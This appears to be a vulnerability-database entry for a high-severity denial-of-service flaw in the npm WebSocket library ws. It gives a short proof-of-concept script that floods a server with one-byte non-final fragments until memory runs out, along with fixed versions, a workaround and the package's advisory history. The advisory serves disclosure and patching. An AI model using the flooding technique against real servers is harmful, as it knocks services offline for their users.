High

ws: Memory exhaustion DoS from tiny fragments and data chunks

Disclosed: 15.06.2026
Updated: 11.10.2026 10:22

Impact

A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.

Proof of concept

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Patches

The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).

Workarounds

In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.

Credits

The vulnerability was responsibly disclosed and fixed by Nadav Magier.

Affected software

Click a technology to see all vulnerabilities affecting it.

Platform	Package	Vulnerable versions	Fixed in
npm package	ws	>= 1.1.0, < 5.2.5, >= 6.0.0, < 6.2.4, >= 7.0.0, < 7.5.11, >= 8.0.0, < 8.21.0	5.2.5, 6.2.4, 7.5.11, 8.21.0

References

CVSS score 7.5/10

CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE): CWE-1050, CWE-400, CWE-770
Platform: npm
Package: ws
Disclosed: 15.06.2026
Updated: 11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-96hv-2xvq-fx4p - CC BY 4.0

Vulnerability history: ws

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries: 7
First → latest: 02.2019 06.2026
Without a fix: 0
Exploited in attacks: 0

Severity breakdown

High 4
Medium 2
Low 1

Disclosures per year

2019: 3
2020: 0
2021: 1
2022: 0
2023: 0
2024: 1
2025: 0
2026: 2

15.06.2026

ws: Memory exhaustion DoS from tiny fragments and data chunks this entry

High · 7.5 CVE-2026-48779 >= 1.1.0, < 5.2.5, >= 6.0.0, < 6.2.4, >= 7.0.0, < 7.5.11, >= 8.0.0, < 8.21.0 5.2.5, 6.2.4, 7.5.11, 8.21.0
18.05.2026

ws: Uninitialized memory disclosure

Medium · 4.4 CVE-2026-45736 >= 8.0.0, < 8.20.1 8.20.1
17.06.2024

ws affected by a DoS when handling a request with many HTTP headers

High · 7.5 CVE-2024-37890 >= 2.1.0, < 5.2.4, >= 6.0.0, < 6.2.3, >= 7.0.0, < 7.5.10, >= 8.0.0, < 8.17.1 5.2.4, 6.2.3, 7.5.10, 8.17.1
28.05.2021

ReDoS in Sec-Websocket-Protocol header

Medium · 5.3 CVE-2021-32640 >= 7.0.0, < 7.4.6, >= 6.0.0, < 6.2.2, >= 5.0.0, < 5.2.3 7.4.6, 6.2.2, 5.2.3
04.06.2019

Denial of Service in ws

High · 7.5 ghsa-5v72-xg48-5rpm >= 0.6.0, < 1.1.5, >= 2.0.0, < 3.3.1 1.1.5, 3.3.1
18.02.2019

DoS due to excessively large websocket message in ws

High CVE-2016-10542 < 1.1.1 1.1.1
18.02.2019

Remote Memory Disclosure in ws

Low CVE-2016-10518 < 1.0.1 1.0.1

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